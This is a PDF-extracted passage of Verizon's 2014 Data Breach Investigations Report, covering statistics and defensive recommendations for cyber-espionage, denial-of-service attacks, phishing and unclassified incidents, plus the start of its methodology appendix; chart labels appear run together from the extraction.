Cyber-espionage (n=437) State-affiliated Organized crime Former employeeCompetitor Unknown87% 11% <1%1% 1% Figure 59. Region of external actors within Cyber-espionage (n=230) Eastern Asia Unattributed Western AsiaEastern Europe Northern America49% 25% <1% Europe <1%21% 4% Southern Asia <1%CYBER- ESP i ONAGE 39 VERIZON 2014 DATA BREACH INVESTIGATIONS REPORT POiNT-OF-SALE i NTRUS i ONSWEB APP ATTACKSiNSiDER AND PR i V i LEGE M i SUSEPHYS iCAL THEFT AND LOSSMiSCELLANEOUS ERRORSCRiMEWAREPA YMENT CARD SK i MMERSCYBER- ESP i ONAGEDOS ATTACKSEVERYTH iNG ELSEWith respect to actor origin, the percentage of incidents attributed to East Asia is much less predominant in this year’s dataset. Two countries in particular, the People’s Republic of China and the Democratic People’s Republic of Korea, represent that region. This underscores the point we made in our last report – that, despite our China-exclusive results, China definitely was not the only country conducting espionage. The 2013 dataset shows much more activity attributed to Eastern European actors, Russian-speaking ones in particular. As before, we don’t propose these are the only active regions/countries engaged in espionage. More comprehensive research into different actor groups is continually driving better detection and attribution, and we hope future versions of this report will show the fruits of those efforts. At a high level, there doesn’t seem to be much difference in the industries targeted by East Asian and Eastern European groups. Chinese actors appeared to target a greater breadth of industries, but that’s because there were more campaigns attributed to them. One aspect of this pattern that sets it apart from others is the wide variety of threat actions. Many of the other patterns have simpler stories with relatively few VER i S actions. Espionage breaks that mold in a big way, though the specific actions involved won’t be a surprise to many readers. State-affiliated groups often deploy a wide range of tools (or tools that have wide range of capabilities), which is evident in Figure 60.i t’s interesting that, while the array of tools is diverse, the basic methods of gaining access to a victim’s environment are not. The most prolific is the old faithful: spear phishing. We (and others) have covered this ad nauseam in prior reports, but for both of you who have somehow missed it, here goes: A well-crafted and personally/professionally-relevant email is sent to a targeted user(s), prompting them to open an attachment or click a link within the message. i nevitably, they take the bait, at which point malware installs on the system, a backdoor or command channel opens, and the attacker begins a chain of actions moving toward their objective. The proportion of espionage incidents incorporating phishing is lower than our last report (it was 95%), but not because of a drop in actual frequency. This is primarily due to a big increase in the use of strategic web compromises (SWCs) as a method of gaining initial access. i nstead of email bait, SWCs set a trap within (mostly) legitimate websites likely to be visited by the target demographic. When they visit the page, the trap is sprung, the system infected, and the rest is the same as described above. Even if detected quickly, SWCs can provide a very high reward for attackers. Furthermore, the industry has observed some maturation of the SWC technique, which assists the actors in focusing their targets and avoiding detection (see sidebar on next page for more on SWCs).Figure 60. Top threat action varieties within Cyber-espionage (n=426) Use of stolen creds [hac] Disable controls [mal] Rootkit [mal] Brute force [mal] Brute force [hac] Password dumper [mal] Packet sniffer [mal] Ram scraper [mal] Other [mal] Client-side attack [mal]Use of backdoor or C2 [hac] 24% 19% 16% 14% 14% 13%30% 24%28%Exploit vuln [mal] Scan network [mal]37%37% 24%Phishing [soc] Backdoor [mal] Downloader [mal] Capture stored data [mal] Export data [mal] Spyware/keylogger [mal] 43% 38%67% 57%65%C2 [mal]70% 68% 60%Figure 61. Vector for malware actions within Cyber-espionage (n=329) Email attachment Web drive-by Direct install Downloaded by malware Email link Email autoexecute Network propagation Remote injection Unknown4% 3% <1%2% <1% <1%<1%78% 20% CAMPAIGN RESEARCH PUBLISHED IN 2013 The DB i R focuses on overall trends and stats related to espionage campaigns. Several of our contributors have published in-depth research on specific actors and campaigns, some examples are listed below:• Deputy Dog (FireEye), August-September 2013 • Ephemer al Hydra (FireEye), November 2013 • MiniDuk e (Kaspersky), February 2013 • Red October (Kaspersky), May 2007-January 2013 • Sunshop (FireEye), September 2011-October 2013 (But likely ongoing) • Tr oy (McAfee, part of i ntel Security), January–March 2013 • Multi-campaign (U.S. Defense Security Service), “Targeting U.S. Technologies”CYBER- ESP i ONAGE 40 VERIZON ENTERPRISE SOLUTIONS POiNT-OF-SALE i NTRUS i ONSWEB APP ATTACKSiNSiDER AND PR i V i LEGE M i SUSEPHYS iCAL THEFT AND LOSSMiSCELLANEOUS ERRORSCRiMEWAREPA YMENT CARD SK i MMERSCYBER- ESP i ONAGEDOS ATTACKSEVERYTH iNG ELSEOnce the phishing email or SWC has done its work, and an internal system is infected, the name of the game is moving determinedly through the network to obtain the prize. This may happen quickly, but it also may last for years. Common methods involving loading backdoors on systems to maintain access, dropping spyware/keyloggers and password dumpers to steal user credentials, and then using those credentials to elevate privileges and expand control. Examining discovery timelines and methods for espionage incidents reveals ample room for improvement. While this information is often not known or provided (for various reasons, including the visibility and focus of our contributors), there’s enough to discern the general state of affairs. i t typically takes victims months or more to learn they’ve been breached and it’s usually an outside party notifying them.The most common method of discovery is ad hoc notification from threat intelligence and research organizations that observe, for instance, the victim communicating with C2 infrastructure of a known threat group. While this isn’t good news per se, it does suggest intelligence operations are an important tool for combating espionage.Figure 62. Variety of at-risk data within Cyber-espionage (n=355) Internal Secrets System Credentials Classified Unknown Personal Payment Copyrighted Other39% 31% 19% 2% 1% <1% <1%85% 83% 80% Figure 63. Top 10 discovery methods within Cyber-espionage (n=302) Ext - unrelated party Ext - law enforcement Int - antivirus Int - NIDS Int - reported by user Int - log review Int - unknown Other Ext - customer Ext - audit2% 1% 1%1% 1% <1%67% 2%16%Total External Total Internal 85% 15% 8%TOOLS OF THE TRADE: STRATEGIC WEBSITE COMPROMISE Strategic website compromises (SWCs) have proven to be an effective tactic of state-affiliated threats to infiltrate the networks of target organizations. i n 2012, SWCs made their debut with the “VOHO Affair”24 and continued in 2013 with attacks focused against the Public, Manufacturing, Professional, and Technical sectors. SWCs leverage websites that are of critical or complementary value to an industry’s line of business to distribute malware traditionally contained in spear phishing emails. Visitors are hit with a drive-by download, granting attackers access/ownership of the system. State-affiliated SWCs in 2013 exhibited three new browser-based zero-day vulnerabilities (constituting over 75% of publicly disclosed SWCs), which upped the rate of compromise per event. So, why has the use of SWCs in espionage campaigns increased? Well, there’s no doubt that attackers have realized this tactic scales well and provides reasonable assurances of ambiguity. By opting out of direct attacks like phishing, attackers effectively remove themselves from the tribulations of poor grammar, scanners, and astute users. And by leveraging zero-day exploits, they achieve higher success rate that no longer rely on carefully coerced actions. i n 2014, we’d like to predict SWCs will fade, but that seems unlikely. While there are downsides to SWCs for the attackers (high visibility and high cost to weaponize and burn a zero day), the benefits of a low-cost way to support long-term operations generally outweigh the risks.Hours Days Weeks Months YearsSeconds Minutes0% 0% 9% 8% 16% 5%62%Figure 64. Discovery timeline within Cyber-espionage (n=101)CYBER- ESP i ONAGE 41 VERIZON 2014 DATA BREACH INVESTIGATIONS REPORT POiNT-OF-SALE i NTRUS i ONSWEB APP ATTACKSiNSiDER AND PR i V i LEGE M i SUSEPHYS iCAL THEFT AND LOSSMiSCELLANEOUS ERRORSCRiMEWAREPA YMENT CARD SK i MMERSCYBER- ESP i ONAGEDOS ATTACKSEVERYTH iNG ELSERECOMMENDED CONTROLS isolating the root cause of an espionage-related breach is a bit of a snipe hunt. Sure, victims mak e mistakes (minor and otherwise) that are exploited in the process, but the real root issue is a determined, skillful, patient, and well-resourced adversary who will keep poking until he finds (or makes) a hole. With that in mind, let’s take a closer look at the holes and other thin spots these adversaries often take advantage of. First, we’ll start with a few blocking and tackling fundamentals that you really ought to be doing regardless of whether or not you’re worried about espionage. i f you don’t do these, all those super-advanced cybertastic APT kryptonite solutions may well be moot. Patch ALL THE THINGS! Exploiting browser, OS, and other third-party software (e.g., Flash and Java) vulnerabilities to infect end-user systems is a common initial step for attackers. Keeping everything up to date will make that step a lot harder to take. Use and update anti-virus (AV) While many proclaim AV is dead, not having it is akin to living without an immune system. i t might not protect you from the dreaded zero day, but let’s be honest — many espionage victims still fall to one-zero-zero days (or higher). An up to date AV (in-line and on the endpoint) can go a long way to detect anomalies in applications and find pesky shells and other malware. Train users Some will consider this a lost cause, but we counter with a reminder that, over the years we’ve done this research, users have discovered more breaches than any other internal process or technology. i t’s not all about prevention; arm them with the knowledge and skills they need to recognize and report potential incidents quickly. Segment your network Good network and role segmentation will do wonders for containing an incident, especially where actors intend to leverage access to one desktop as a stepping-stone to the entire network. Keep good logs Log system, network, and application activity. This will not only lay a necessary foundation for incident response, but many proactive countermeasures will benefit from it as well.Beyond the basics, there are some specific practices that organizations concerned with state-affiliated and other determined adversaries should consider. These roughly follow critical points in the path of attack, where victims have the best chance to recognize and respond. Break the delivery-exploitation- installation25 chain Users will be phished, and they will eventually click; we’ve got the data to prove it. Focus on implementing a solution that more completely defends against phishing, such as not relying solely on spam detection and blocklists, but also doing header analysis, pattern matching based on past detected samples, and sandbox analysis of attachments or links included. For more mature organizations, check out the growing collection of Data Execution Prevention (DEP) and Endpoint Threat Detection and Response (ETDR) solutions. We don’t promote specific products in this report, but you’ll find some good options in this space by starting your search with some of our contributors. Spot C2 and data exfiltration Collect and/or buy threat indicator feeds. in and of themselves, the y aren’t intelligence, but they’re certainly useful within intelligence and monitoring operations. Monitor and filter outbound traffic for suspicious connections and potential exfiltration of data to remote hosts. i n order to recognize “abnormal, ” you’ll need to establish a good baseline of what “normal” looks like. Those indicators you collected/bought will come in handy here. Monitor your DNS connection, among the single best sources of data within your organization. Compare these to your threat intelligence, and mine this data often. Stop lateral movement inside the network After gaining access, attackers will begin compromising systems across your network. ETDR, mentioned above, can help here too. Two-factor authentication will help contain the widespread and unchallenged re-use of user accounts. We mentioned network segmentation in the basics, but since doing it well is challenging, we’ll mention it here again. Don’t make it a straight shot from patient zero to a full-fledged plague. Watch for user behavior anomalies stemming from compromised accounts.CYBER- ESP i ONAGE 42 VERIZON ENTERPRISE SOLUTIONS POiNT-OF-SALE i NTRUS i ONSWEB APP ATTACKSiNSiDER AND PR i V i LEGE M i SUSEPHYS iCAL THEFT AND LOSSMiSCELLANEOUS ERRORSCRiMEWAREPA YMENT CARD SK i MMERSCYBER- ESP i ONAGEDOS ATTACKSEVERYTH iNG ELSEDENIAL OF SERVICE ATTACKS Hold on a second? DoS attacks? in a data breach report? Kno wing that these attacks are top of mind for many organizations — especially in light of late 2012/2013 events — we decided to expand the scope of the DB i R to include them. We collected quite a bit of data on the topic from multiple sources, including teams at Akamai and Verizon that spent a lot of time in the trenches fighting DDoS attacks in 2013. We could have renamed it Verizon’s Security i ncident Report (VS i R), but Microsoft has already laid claim to the “S i R”26 title. A new trend started developing in September of 2012. i n the past, DOS attacks were primarily generated from compromised home computers or by willing participants. Think “your parents’ desktop” system – you know, the one you’re always cleaning up when you visit during the holidays. Obviously, such systems, reserved largely for normal home i nternet users, have relatively small bandwidth from DSL or cable modems. The attackers then, harnessing their botnet of DoS drones, could send commands to direct attacks at a specific target. Flash forward to September 2012 and you see a different scenario altogether, along with a different method for building a better botnet. i n this situation, attackers scanned for and exploited vulnerable websites and CMSs. Then they placed specific DOS attacks scripts onto these sites. The primary script used by these attackers is a customized version of a Russian kit known as Brobot or itsoknoproblembro. So what’s different? Well, for starters these botnet drones aren’t sitting on the i nternet pipes of home broadband users. 1041061081010104106108.1.2.3 .1.2.3 .1.2.3 Density Density Density mean = 4.7Gbps mean = 7.0Gbps mean = 10.0Gbps mean = 7.8Mpps mean = 0.4Mpps mean = 2.6Mpps 2011 bits per second 2012 bits per second 2013 bits per second2011packets per second 2012 packets per second 2013 packets per secondFigure 65. Denial of Service attack bandwidth and packet count levels 2011-2013AT A GLANCE Description Any attack intended to compromise the availability of networks and systems. includes both netw ork and application layer attacks. Top industriesFinance, Retail, Professional, information, Public Frequency1,187 total incidents 0 with confirmed data disclosure Key findings The headliner for DDoS in our 2013 dataset was the QCF campaign against the financial industry, which compromised vulnerable CMSs to create high-bandwidth attacks from hosting centers. DNS reflection attacks also became “big” but sightings of the DoS equivalent of Bigfoot (DDoS distractors covering up other nefarious activities) remain rare.DOS ATTACKS 43 VERIZON 2014 DATA BREACH INVESTIGATIONS REPORT POiNT-OF-SALE i NTRUS i ONSWEB APP ATTACKSiNSiDER AND PR i V i LEGE M i SUSEPHYS iCAL THEFT AND LOSSMiSCELLANEOUS ERRORSCRiMEWAREPA YMENT CARD SK i MMERSCYBER- ESP i ONAGEDOS ATTACKSEVERYTH iNG ELSEThey’re in hosted/cloud/private cloud/etc. data centers with high bandwidth pipes. The servers are also optimized for heavy traffic. Put these two together and you have the makings of what gamers might call a DoS BFG. Or, if music is your game — “these go to 11. ” High packet, high bandwidth attacks. i n some of the Brobot attacks in the last year we saw upwards of 97 Gbps/100 Mpps attacks. These were some of the largest attacks we (and likely anyone else) have ever seen. So who exactly was behind this new wave of DoS attacks? The simple answer is the i zz ad-Din al-Qassam Cyber Fighters (or QCF for short). The group first popped up in September 2012 with the stated goal of using DoS attacks to wreak havoc on U.S. financial institutions – part of a campaign they dubbed Operation Ababil. And they did just that; for several weeks near the end of 2012 and well into the first half of 2013, the QCF launched wave after wave of DoS attacks against U.S. banks using their powerful Brobot ion cannons (think Hoth). All of this begs the question: Why was the QCF so determined to wage a campaign against prominent U.S. financials? i f you believe the propaganda the group regularly posted to Pastebin during their attacks, then the answer to the question of what motivated them is simple: ideology. Like a broken record, the QCF repeatedly stated they would attack U.S. banks until all forms of a highly controversial and disparaging video named “ i nnocence of Muslims” was removed from Y ou Tube. They even created a mathematical formula to convert the number of “likes” the video had to how long the campaign would continue. While this was the show the QCF put on for public consumption, there were theories circulating in the security community that Operation Ababil was nothing more than a front for state-affiliated attackers based in i ran. Those theories created a VER i S dilemma about how to classify the QCF’s actor variety. Are they truly hacktivists looking to get Y ou Tube videos taken down or are they state-affiliated threat actors probing for weaknesses in the U.S. financial infrastructure at the bidding of the i ranian government? Unfortunately, the multilayer command and control infrastructure utilized in botnet creation makes it incredibly difficult to say with certainty from open sources that i ran is indeed the wizard behind the green curtain, so we ultimately decided to go with the publicly stated purpose of the actors and chalk it up to hacktivism. While it’s true that exactly what motivated the QCF isn’t entirely certain, the tactics used to carry out the group’s attacks are well known. Not only did the group use more traditional attacks such as UDP and SYN floods to clog up a target website’s bandwidth and tie up server resources, it also carried out application-layer DoS attacks. i n these low and slow attacks the QCF would send multiple HTTPS GET requests for PDF files on the target site. These types of attacks are especially frustrating: they don’t require significant resources, they can be difficult to defend against, and they can be incredibly effective. The use of HTTPS is particularly problematic for mitigation because the packets are encrypted, which makes it difficult for defenders to determine junk traffic from legitimate traffic.Speaking of DoS attacks that don’t require a vast botnet to be devastating, we’ve observed another trend stealing the limelight recently: DNS reflection attacks. Not as clumsy or random as a botnet; these are an elegant weapon for a more civilized age. Remember the biggest DoS attack in history? 27 if not, allow us to refresh y our memory. i n March 2013, the anti-spam organization Spamhaus was the target of a massive and sustained DoS target that some security vendors claim spiked at nearly 300 Gbps of traffic. The key word here is spiked (and we can’t emphasize that enough); the average amount of traffic hitting Spamhaus during the attack ranged anywhere from 85-120 Gbps, which still represents a sizable bombardment. The method behind generating an attack this large is DNS reflection. So how does it work? Typically, an attacker sends a bunch of DNS queries to open DNS resolvers. The attacker forges the source address on his requests to make it look as though they originated from his desired target. The open resolvers then send their typically larger responses to the targeted address, which is quickly swamped with seemingly legitimate traffic. Hence, “reflection. ” Much like the low and slow attacks described above, DNS reflection doesn’t require significant computing resources on the part of the attacker to produce devastating results. DOS’ING THE MATH if there’s one thing we’ve learned from the attack on Spamhaus and others lik e it, it’s the importance of understanding the numbers behind DoS attacks. Let’s look at an example. Say there was a 200 Gbps attack at 25 Mpps, 200 Gbps = 2.14 x 10 11 or so bps, divide that by 25,000,000 and that is about 8,500 bits per packet or just over 1k bytes per packet on average. This indicates many of the packets are pushing towards the maximum packet size most i SPs will route. We’ve seen attacks with a higher packet rate, but never anything close to that in bandwidth. Both attackers and defenders tend to sensationalize attacks like this. Both have motives for inflating them. Attackers want to call attention to their attacks and defenders will say, “Look, it was so large there was no way we could keep that site up and running. ” Or if it’s a vendor, “Look how powerful our service is. We can stop all the attacks!” That being said, data compiled by our DoS defense team shows an increase in the average size of attacks over the past three years — as shown in figure 65. i n 2011, the average attack involved 4.7 Gbps of bandwidth with a 411 Kpps packet rate. Move forward to 2012 and those averages jumped to 6.7 Gbps at 2.5 Mpps. i t shouldn’t surprise you to learn that in 2013 the average DoS attack clocked in at 10.1 Gbps at close to 8.1 Mpps. While the QCF and its powerful arsenal likely shoulder some of the blame for this year-over-year increase, the increasing popularity of reflection attacks and the power they generate are the primary culprits.DOS ATTACKS 44 VERIZON ENTERPRISE SOLUTIONS POiNT-OF-SALE i NTRUS i ONSWEB APP ATTACKSiNSiDER AND PR i V i LEGE M i SUSEPHYS iCAL THEFT AND LOSSMiSCELLANEOUS ERRORSCRiMEWAREPA YMENT CARD SK i MMERSCYBER- ESP i ONAGEDOS ATTACKSEVERYTH iNG ELSEAside from the rise in DNS reflection attacks and converting webservers into high-powered DoS bots, not much has changed over the past few years. Sure, there are always new DoS toolkits making their way into the underground and new waves of attacks taking place, but the general principles remain the same, as do the targets. We saw many attacks directed at the financial, retail, professional services, and public sectors. What better way to inflict pain on a bank or retailer than to go after its website – something critical to customer service? And though carrying out a DoS attack isn’t as difficult as it seems, results may vary. For the financially challenged attacker it’s possible to download open source tools such as Low Orbit i on Cannon (LO i C), but he’ll need A LOT of friends to do the same if the attack has a chance of being successful. On the other hand, if he’s got some cash to burn, the attacker can rent out a DirtJumper or Athena botnet and pummel the target of his choice for less than $10 an hour. The more enterprising (and development-minded) individual might even go so far as to write his or her own DoS script and herd a botnet together. And trust us, these three scenarios play out every day in the cybercriminal underground. We’ve heard many clients and colleagues express concern about attackers using DoS attacks as a “smokescreen” to hide fraudulent automated clearing house (ACH) transfers and other illicit activity. Although there are scattered reports of this happening, hard evidence we’ve managed to collect doesn’t indicate the rate or impact justifies the level of angst. We sometimes jokingly refer to this as the “DoS Bigfoot, ” not because we don’t think it’s real, but because we’re intrigued and want to capture it on film. Data collection for the 2015 DB i R is already underway, and we invite any with shaky night vision film clips of this thing to set the record straight.RECOMMENDED CONTROLS Now that we’ve talked about the problem at length it’s a good time to discuss what can be done to lessen or even prevent DoS attacks against your organization. Let’s start with the basics Servers/services should always be turned off when not in use, patched when in use, and available only to the people who need them, especially in the case of reflection attacks. Isolate key assets Segregate key iP/servers from non-essential iP space. Any iP space not in activ e use for key servers should be announced out of a separate circuit, perhaps even purchase a small backup circuit and announce i P space. That way if it’s attacked, the attack won’t compromise your primary facilities/servers. Get comfortable Don’t be shy about using your provider’s anti-DDoS service. Y ou should be able to test it quarterly without charge. Make sure that your key operations teams will react in a timely manner if there is an actual attack. Even if your provider offers “auto-mitigation, ” this shouldn’t be an install-and-forget kind of service. Have a plan in place What are you going to do? Who will you call if your primary anti-DDoS doesn’t work? Y ou know what you’d do if one of your circuits or servers went down – why should this be any different? Do the math Know that most attacks are about the FUD numbers cited by the news media. They’re above your SSL server capacity, or perhaps a few times your ingress circuit line rate. But attackers don’t have infinite resources either – the biggest attack will be just over what you can manage. Ask about capacity Understand that all iSPs will have to, at some point, protect their gener al network over your company’s specific traffic. Ask your anti-DDoS provider about its upstream peering capacity – if they can’t get the (good and bad) traffic in no matter how much mitigation capacity they have, your good traffic will be dropped at the outside edge of their i SP’s network and your call queues will light up with unhappy customers. DOS ATTACKS 45 VERIZON 2014 DATA BREACH INVESTIGATIONS REPORT POiNT-OF-SALE i NTRUS i ONSWEB APP ATTACKSiNSiDER AND PR i V i LEGE M i SUSEPHYS iCAL THEFT AND LOSSMiSCELLANEOUS ERRORSCRiMEWAREPA YMENT CARD SK i MMERSCYBER- ESP i ONAGEDOS ATTACKSEVERYTH iNG ELSEEVERYTHING ELSE “Why not make two more patterns, then?” you might well ask. Great question; allow us to explain. First, let’s describe what we see here among these 7,269 incidents. Actors are 99.9% external. Generic “hacking” (variety unknown), phishing, and browser-busting malware lead known threat actions, with everything else below the 1% line. Three-quarters of all incidents involved compromised web servers; the rest were unknown.“Then why do you say they’re related species?” you might counter. A little digging into the data uncovers the fact that these incidents actually represent mass attacks reported to a CS i RT. i n one, thousands of servers in hosting facilities were compromised and used to host phishing sites. The other involved hundreds of servers hijacked to host malware for drive-by exploits. Nothing else was reported about the method of compromise or the phishing/malware campaigns themselves. Figure 66. Hierarchical clustering of VERIS enumerations for confirmed data disclosures falling outside the main incident patterns 20 10 0 actor.external.variety.Unaffiliated (7) attribute.confidentiality.data.variety.Personal (7)asset.assets.variety.P − Finance (5)attribute.integrity.variety.Fraudulent transaction (5)attribute.confidentiality.data.variety.Payment (11)actor.external.motive.Financial (23)actor.external.variety.Organized crime (9)action.social.variety.Pretexting (12) attribute.integrity.variety.Alter behavior (18) attribute.confidentiality.data.variety.Bank (9)action.social.vector.Phone (11)asset.assets.variety.P − Call center (9)attribute.confidentiality.data.variety.Secrets (12)asset.assets.variety.S − Database (9)asset.assets.variety.S − Web application (10) asset.assets.variety.S − File (7) attribute.integrity.variety.Software installation (5)attribute.integrity.variety.Misappropriation (6)action.hacking.variety.Brute force (5)action.hacking.variety.Use of stolen creds (18)attribute.confidentiality.data.variety.Credentials (22)AT A GLANCE Description This last “pattern” isn’t really a pattern at all. instead, it covers all incidents that don’t fit within the orderly confines of the other patterns. Giv en that, one might assume you’d never find a more wretched hive of scum and villainy than this random assortment of outcasts. But what we actually find looks nothing like the riffraff of a Mos Eisley cantina; it’s almost entirely dominated by two related species of incidents.EVERYTH iNG ELSE 46 VERIZON ENTERPRISE SOLUTIONS POiNT-OF-SALE i NTRUS i ONSWEB APP ATTACKSiNSiDER AND PR i V i LEGE M i SUSEPHYS iCAL THEFT AND LOSSMiSCELLANEOUS ERRORSCRiMEWAREPA YMENT CARD SK i MMERSCYBER- ESP i ONAGEDOS ATTACKSEVERYTH iNG ELSEAll in all, not very informative — and therein lies the issue. it quickly becomes apparent that these incidents aren’t something utterly different, but rather simply lack sufficient detail to better classify them. A slightly more interesting view is found by narrowing in on the subset (81 incidents) that involved confirmed data disclosure.28 We’ll use the Figure 66 dendrogram to go hunting for patterns. We realize that dendrograms aren’t the most inherently intuitive visualizations, 29 but their basic premise is pretty straightforward and they serve this purpose well. The words in the dendrogram are VER i S enumerations. Enumerations are organized into clusters. Clusters are connected — directly or indirectly — by branches of varying levels. Multiple enumerations on the same cluster or low-level branch signify a close and distinguishing relationship (i.e., they commonly appear together within incidents). Enumerations and clusters separated by higher branches signify weak or infrequent relationships. When applied to Figure 66, this results in a cluster to the far right encompassing stolen credentials and the use of those credentials to gain unauthorized access. Higher level (weaker/less frequent) clusters in that same rightmost branch hint that this pairing is sometimes seen in conjunction with brute-force attacks, unauthorized software (malware) installation, and misappropriation (illegitimate use/hijacking) of file servers. That’s not exclusive, mind you, but it’s a pattern recognized by the algorithm. To the left of that, we see a strongly related cluster linking phone-based social engineering of call center employees. i ncluding nearby clusters within that whole middle segment adds additional context around that: financially motivated, organized criminals using pretexting to steal payment information from bank call centers, and conducting fraudulent transactions. The theft of trade secrets kind of sticks out like the extra digit on a six-fingered man (yes; the one who killed your father and must prepare to die); probably because the source knew what was taken, but not how it was taken or who took it. The leftmost clusters appear to be generic intrusions into web servers and databases to steal personal information. We could go deeper into this rabbit hole, but this at least gives some sense of what didn’t make the cut for the other patterns. Y ou’re probably dendrogrammed out by now anyway. YOU AND ME GO PHISHING IN THE DARK i n last year’s report we examined data from ThreatSim and came to the earth-shattering conclusion that phishing is an effective way to gain access to an organization. Okay, maybe that isn’t news, but the revelation that a phishing campaign of only ten messages has a better-than 90% chance of getting a click was surprising to many of us. This year we took a look at ThreatSim’s data again and immediately reconfirmed the findings from last year; that even a campaign consisting of a small number of email messages has a high probability of success. However, this year we found that the overall success rate of a phishing message was slightly lower at 18%. The reason could be more awareness of phishing, or just natural variation in the samples. We also looked at the success rate of different tactics in phishing. Are users more likely to visit a link than run an attachment? Are they more likely to click an attachment than enter their passwords in a web form? i n general, it appears that about 8% of users will click an attachment and about 8% will fill in a web form. And while most users are skeptical about clicking an attachment (though not skeptical enough) they are less fearful of visiting a link in an email. 18% of users will visit a link in a phishing email. Users unfamiliar with drive-by malware might think that simply visiting a link won’t result in a compromise.Figure 67.Success rates of phishing exercises Form/Data-entryDrive-by Click attachment 9%18% 9% Figure 68.Phishing success rates 0 10 30 20 4010%20%30%40%50%60%70%50%80%90%100% User Action (2014)Drive-byInfections(2014)Overall (2013)EVERYTH iNG ELSE 47 VERIZON 2014 DATA BREACH INVESTIGATIONS REPORT CONCLUSION AND SUMMARY RECOMMENDATIONS it’s fascinating to study what goes wrong. But the real purpose of this research is to help y ou reduce the risk that these bad things will happen to you. At the end of the day, we do this work to support evidence-based risk management. We think the perspective of studying clustered incident patterns enables more tailored strategies to reduce risk, and toward that end, we did two specific things this year. First, we mapped industries to attack patterns to help answer the question, “For my industry, which threats am i most likely to face?” Second, for each pattern we made specific recommendations, including priority controls from the Critical Security Controls (CSCs) based on our collaboration with the Council on Cybersecurity. This included mapping patterns to controls. To wrap up, let’s connect the dots in one more way. Since we’ve used the data to map industries to incident patterns and patterns to controls, we figured we also have a decent foundation to map industries directly to recommendations for controls. Figure 69 on the next page shows which controls we think are key to the threat patterns each industry faces. And it weights each control by how often we see the patterns the control addresses in that industry. Essentially, we just did a whole bunch of multiplication to save you the trouble. So for example, in the column for the Public sector, you’ll see CSC 17 stands out as a priority. Sure, someone could have said before, “ i ntuitively, data loss prevention should probably be important for the Public sector. ” But now this report puts some hard data behind that. Misuse, theft/loss, and error constitute a strong majority of the attack patterns the public sector faces, and data loss prevention helps address all of them. The other 19 CSCs are great (and we certainly aren’t saying anyone should ignore them), but this perspective is a strong argument for making sure the industry gives CSC 17 the focus and resources it deserves; specifically the sub-controls that cover full disk encryption (17.3) and detecting mis-published information (17.6). View this as evidence that can help answer the question “Based on where my industry is now (which reflects the controls already in place and the threats they often face), what should we focus on next?” Granted, one element of this is subjective in that we and the Council’s experts decided which controls would best address each threat pattern. But we based those decisions on event chains observed in our data set. And the weighting we did is based firmly on the frequency data we have for patterns and industries. So while small differences in these numbers probably aren’t too meaningful, we do think there’s a strong argument for taking a hard look at the controls that come out on top. As always, we hope you find this year’s report valuable, and we look forward to hearing your feedback. May the Force be with you, and have fun storming the castle! Questions? Comments? Brilliant ideas? We want to hear them. Drop us a line at dbir@verizon.com, find us on LinkedIn, or tweet @VZdbir with the hashtag #dbir.THE COUNCIL ON CYBERSECURITY The Council on CyberSecurity was established in 2013 as an independent, expert, not-for-profit organization with a global scope committed to the security of an open i nternet. The Council is committed to the ongoing development, support, and adoption of the Critical Security Controls; to elevating the competencies of the cybersecurity workforce; and to the development of policies that lead to measurable improvements in our ability to operate safely, securely and reliably in cyberspace. For additional information, visit the Council’s website. www.counciloncybersecurity.org 48 VERIZON ENTERPRISE SOLUTIONS Figure 69. Critical security controls mapped to incident patterns. Based on recommendations given in this report. Critical Security Controls (SANS Institute) POS i ntrusions Web App Attacks i nsider Misuse Physical Theft/Loss Misc Errors Crimeware Card Skimmers Cyber- espionage DoS Attacks Software inventory 2.4 ∑ ∑ Standard Configs3.1 ∑ 3.2 ∑ ∑ ∑ 3.8 ∑ Malware Defenses5.1 ∑ ∑ ∑ 5.2 ∑ ∑ ∑ 5.6 ∑ ∑ Secure Development6.4 ∑ 6.7 ∑ 6.11 ∑ Backups 8.1 ∑ Skilled Staff9.3 ∑ 9.4 ∑ Restricted Access11.2 ∑ 11.5 ∑ 11.6 ∑ Limited Admin12.1 ∑ ∑ 12.2 ∑ 12.3 ∑ 12.4 ∑ 12.5 ∑ Boundary defense13.1 ∑ ∑ 13.7 ∑ ∑ ∑ ∑ 13.10 ∑ 13.14 ∑ Audit Logging 14.5 ∑ ∑ identity Management16.1 ∑ 16.12 ∑ 16.13 ∑ Data Loss Prevention17.1 ∑ 17.6 ∑ ∑ 17.9 ∑ ∑ incident Response18.1 ∑ 18.2 ∑ 18.3 ∑ Network Segmentation 19.4 ∑ ∑ To find out more about the SANS institute’s Critical Security Controls, visit: http://www.sans.org/critical-security-controls/ 49 VERIZON 2014 DATA BREACH INVESTIGATIONS REPORT Figure 70. Prioritization of critical security controls by industry. Based on frequency of incident patterns within each industry and recommendations for each pattern given in this report. The shading is relative to each industry. Critical Security Controls (SANS Institute) Accommodation [72] Administrative [56] Construction [23] Education [61] Entertainment [71] Finance [52]Healthcare [62] i nformation [51] Management [55]Manufacturing [31, 32,33] Mining [21] Other [81]Professional [54] Public [92]Real Estate [53] Retail [44, 45] Trade [42]Transportation [48, 49] Utilities [22] Software inventory 2.4 Standard Configs3.1 3.2 3.8 Malware Defenses5.1 5.2 5.6 Secure Development6.4 6.7 6.11 Backups 8.1 Skilled Staff9.3 9.4 Restricted Access11.2 11.5 11.6 Limited Admin12.1 12.2 12.3 12.4 12.5 Boundary defense13.1 13.7 13.10 13.14 Audit Logging 14.5 identity Management16.1 16.12 16.13 Data Loss Prevention17.1 17.6 17.9 incident Response18.1 18.2 18.3 Network Segmentation 19.4 For more information on the NA iCS codes [shown above] visit: https://www.census.gov/cgi-bin/sssd/naics/naicsrch?chart=2012 T o find out more about the SANS i nstitute’s Critical Security Controls, visit: http://www.sans.org/critical-security-controls/ 50 VERIZON ENTERPRISE SOLUTIONS APPENDIX A: METHODOLOGY Based on feedback, one of the things readers value most about this report is the level of rigor and integrity we employ when collecting, analyzing, and presenting data. Knowing our readership cares about such things and consumes this information with a keen eye helps keep us honest. Detailing our methods is an important part of that honesty. Our overall methodology remains intact and largely unchanged from previous years. With 50 organizations contributing data this year, there is no single means used to collect and record the data. i nstead we employed different methods to gather and aggregate the data produced by a range of approaches by our contributors. Once collected, all incidents included in this report were individually reviewed and converted (if necessary) into the VER i S framework to create a common, anonymous aggregate dataset. But the collection method and conversion techniques differed between contributors. i n general, three basic methods (expounded below) were used to accomplish this: 1) direct recording by Verizon using VER i S 2) direct recording by contributors using VER i S 3) re-codeding using VER i S from a contributor’s existing schema All contributors received instruction to omit any information that might identify organizations or individuals involved, since such details are not necessary to create the DB i R. Sharing and publishing incident information isn’t easy, and we applaud 